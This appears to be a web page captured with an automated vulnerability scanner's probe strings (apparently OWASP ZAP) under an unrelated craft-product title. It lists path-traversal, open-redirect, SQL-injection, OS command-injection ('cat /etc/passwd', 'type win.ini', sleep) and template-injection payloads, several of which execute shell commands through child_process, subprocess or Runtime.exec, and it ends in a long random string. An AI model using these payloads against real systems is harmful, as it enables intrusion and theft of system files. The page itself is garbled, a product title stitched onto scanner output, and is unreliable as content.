Martha Stewart Crafts Garland, Pink Pom Pom Small

c:/

/

c:\

../../../../../../../../../../../../../../../../

WEB-INF/web.xml

WEB-INF\web.xml

/WEB-INF/web.xml

\WEB-INF\web.xml

thishouldnotexistandhopefullyitwillnot

http://www.google.com/

http://www.google.com:80/

http://www.google.com

http://www.google.com/search?q=ZAP

http://www.google.com:80/search?q=ZAP

www.google.com/

www.google.com:80/

www.google.com

www.google.com/search?q=ZAP

www.google.com:80/search?q=ZAP

'

'

"

"

;

;

'(

'(

AND 1=1 --

AND 1=2 --

OR 1=1 --

AND 1=2 --

OR 1=1 --

' AND '1'='1' --

' AND '1'='2' --

' OR '1'='1' --

' AND '1'='2' --

' OR '1'='1' --

UNION ALL select NULL --

' UNION ALL select NULL --

" UNION ALL select NULL --

) UNION ALL select NULL --

') UNION ALL select NULL --

(SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)

/ (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)

' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '

" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "

and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --

case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end

case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --

'case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --

"case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end --

/ case when cast(pg_sleep(15.0) as varchar) > '' then 0 else 1 end

case randomblob(100000) when not null then 1 else 1 end

case randomblob(1000000) when not null then 1 else 1 end

case randomblob(10000000) when not null then 1 else 1 end

ek3rft1kr7eu53pel0frw1pnmncpv0q2yrd0hs9x8yq63llidkiqbt61mq

case randomblob(100000000) when not null then 1 else 1 end

idw4dkzoisl7n5nd089nwuptiln49rrpdazt9sw7s239pxsg0yqzjnpzeh4

case randomblob(1000000000) when not null then 1 else 1 end

WAITFOR DELAY '0:0:15' --

' WAITFOR DELAY '0:0:15' --

" WAITFOR DELAY '0:0:15' --

) WAITFOR DELAY '0:0:15' --

) ' WAITFOR DELAY '0:0:15' --

) " WAITFOR DELAY '0:0:15' --

)) WAITFOR DELAY '0:0:15' --

)) ' WAITFOR DELAY '0:0:15' --

)) " WAITFOR DELAY '0:0:15' --

) WAITFOR DELAY '0:0:15' (

cat /etc/passwd

&cat /etc/passwd&

;cat /etc/passwd;

"&cat /etc/passwd&"

";cat /etc/passwd;"

'&cat /etc/passwd&'

';cat /etc/passwd;'

&sleep 15.0&

;sleep 15.0;

"&sleep 15.0&"

";sleep 15.0;"

'&sleep 15.0&'

';sleep 15.0;'

type %SYSTEMROOT%\win.ini

&type %SYSTEMROOT%\win.ini

|type %SYSTEMROOT%\win.ini

"&type %SYSTEMROOT%\win.ini&"

"|type %SYSTEMROOT%\win.ini

'&type %SYSTEMROOT%\win.ini&'

'|type %SYSTEMROOT%\win.ini

&timeout /T 15.0

|timeout /T 15.0

"&timeout /T 15.0&"

"|timeout /T 15.0

'&timeout /T 15.0&'

'|timeout /T 15.0

get-help

;get-help

";get-help

';get-help

;get-help #

;start-sleep -s 15.0

";start-sleep -s 15.0

';start-sleep -s 15.0

;start-sleep -s 15.0 #

"'

<!--

]]>

zj 4465*8248 zj

zj{5860*8355}zj

zj${9715*4187}zj

zj#{6485*7813}zj

zj{#9342*7620}zj

zj{@6238*8185}zj

zj{{4906*2920}}zj

zj{{=2687*8467}}zj

zj<%=3948*1994%>zj

zj#set($x=6994*5244)${x}zj

zj<p th:text="${9050*7325}"></p>zj

zj{@math key="4485" method="multiply" operand="6926"/}zj

zj{{50960|add:90380}}zj

zj{{print "2600" "9804"}}zj

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 15") }

#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 15")) #set($null=$proc.waitFor()) ${null}

{{= global.process.mainModule.require('child_process').execSync('sleep 15').toString() }}

<%= global.process.mainModule.require('child_process').execSync('sleep 15').toString()%>

#{global.process.mainModule.require('child_process').execSync('sleep 15').toString()}

{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 15').toString()\")")()}}

{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("sleep 15")}}

${__import__("subprocess").check_output("sleep 15", shell=True)}

{{__import__("subprocess").check_output("sleep 15", shell=True)}}

<%=%x(sleep 15)%>

#{%x(sleep 15)}

{system("sleep 15")}

vLPtBqGKtyLhwoRucGnRpHbuCydcneYqOajJLqvKUKbliQbhEDRIVrUiXCuJrLvHRbgaclDKKytapjHXwOBmwiaoydDnmnQRBpbnqOmnqAwfsCWjVwXTHKvnUgKmJsXnieZKYpRHVUfVsIGGapBohhWCmcVeKZxHSHnlgTWMDZvSenvxEiOniwfLGIcGqISREdwswOrvwHPthNNHXnPvApTbWqVpRnGFtJSHwaqBlvsMrQhYHByPojjSxGujCoNSesdeejcGEyblhTuLfpkrtlhiKYFxNcIcUpkGFnCSkpFkQKrSTpRxbckKgiVogvcVqqMhBGJiMMSAQmGXLoibeUbrJoVRyukcgbISQpUpPlfycsgldjdOsripgHZEMHVmOSxNaWJtwCwPsIhnqggoDXREOHZZJfXUiqAcrdDXfhqlBACZeuJekrgTetAqAFvIsJZFLnYUSYFTpFmAKsBRDUeIXvGUlZRpmZbpSKKwHmTXVpDotJvbxQtLcygDQOUgepeDItPyyJbGeXjmMIIpBpMEUlrhHCCjLMllJebUZJmvkEmHZeyoCxkExALTDObXmlHvkJMkWDyUGJTMsJxZJPcTnUYthtZOUMIPHafVMsXkAbwyBwCJVNOQNedvwoupjFuTRWjbDyxiDmWlqoCtqxblyNbcNvrwXHlhrvTimrrXsajUUNYVhiQEgNqDkUiWmKwjYWtjGyLajRiWaPjeHurQFblKHVhmGrgdoFFKEgHMsatBimiPJBiDZgMUrtEDPfvnYWMQkWNSGSKekFQMalxJnkkbjlIhlofRsuQxWCibTbxBPvmkLmqkBnwyammdieGXDEWPnfqcpFHiTppdUHBJnGOTcZynHNyUWTLYOAfFZTVehmMeptdQkEohiFJUybBHbHytosZrSEFWPjSmxkXoMdfFWgADNqGULkqvrZsYLGaWcQjRLfhcPucScEMvqXgsxfxhhelVqULsSOBZhnUMWuAKnNyLgYhdYCpXXuZMRFaatZYZuEpDPbRrXrTnakXPExlsQlSbQEKEVFlVAQFMxtnfuXGypVMSlkgLOTeOUMfEViMISVTgpOkcHwqoReafHXDoYHNjaTkLpsjXhrmgcGjwAbgPNpGrqGJsNwsLvoxMMmCTDMecmdplTuGtjXviKeAlZfnwkhxqMDYXSJVyeGXcfjCLwrpNcfRlRbYvHRRAfvDyYUoGStgIHwgaBfdJJESuLguJrfCshgsawvIANQtiJdGfroVcJWSNyRtCyoPdlOZXRosCiyYkNyFqLeWByVQuywSCkTJKmGRCrbvQDPqGhZXrTxEAGmgcFgDDcEgmTismMjAeRpPxvltOEcmqoSeHkqobBypoqsGaOCTkqREeGjVFgDYebQwpQsIRqUvBRQxcAESbCKpKbCglNOuBrZJHFTyaXiMPPOjqkDkUdDoIdlItxFumTngLUmCwRTgRDfSeaJdPVhTjawBYKdSVVESCqpfTBVkEcVqsgQKcVAiuOluBFsQdfLOGxeeFwRIaBcXhaojDWsVKyNRHAZdgWohZgQEXXyHBTQYSPQbRCrcvMXgebxTHoMynASsOqfAsFyjRDvyMhXmnAOtcIBKevZmqnTjTAKQMimjfaPITxDUTVmwUeJlAsmqJGWoYmnKvWdyEXwoUAyBSENBJpoqJSeXSleapCSifkIILWoIZZcXWdMIUHbsAyJAnsctsBCeWhoyFpfyNFfVdUHDXIhPQqmeZJZjfBHwtYeanDZaHDvZBtGoMnBcrOPGAUZUNJutSSQnHJoAxfMWLHgDjWjeylOuvKTwrjbPRupaIcnxlhdFEBTmpDIFWTFVxWAHhwZjWqdxHBaNEmAmdJTRJgEUHWgHlMaiZiAYshZTQEQAMhFAPYDIxIQGJdlVksnCboUVNDLnrCHQdSTjKLkdeeTNggcymToaKhmtSsuKeQGABVSPsJLSLtdnxOGdyxGCJSUxbWyFTUUQHTpGZknYeQCmxyKLYjTWbVHdYLSLutgmNXsLmeXcJGQolaibNCLyEeYVUxUMquDmOhZiBJCbihlNWZdugZClcLKqcciiexcehQRVIpSrDExnqdwoVRBDEQKPFLQHO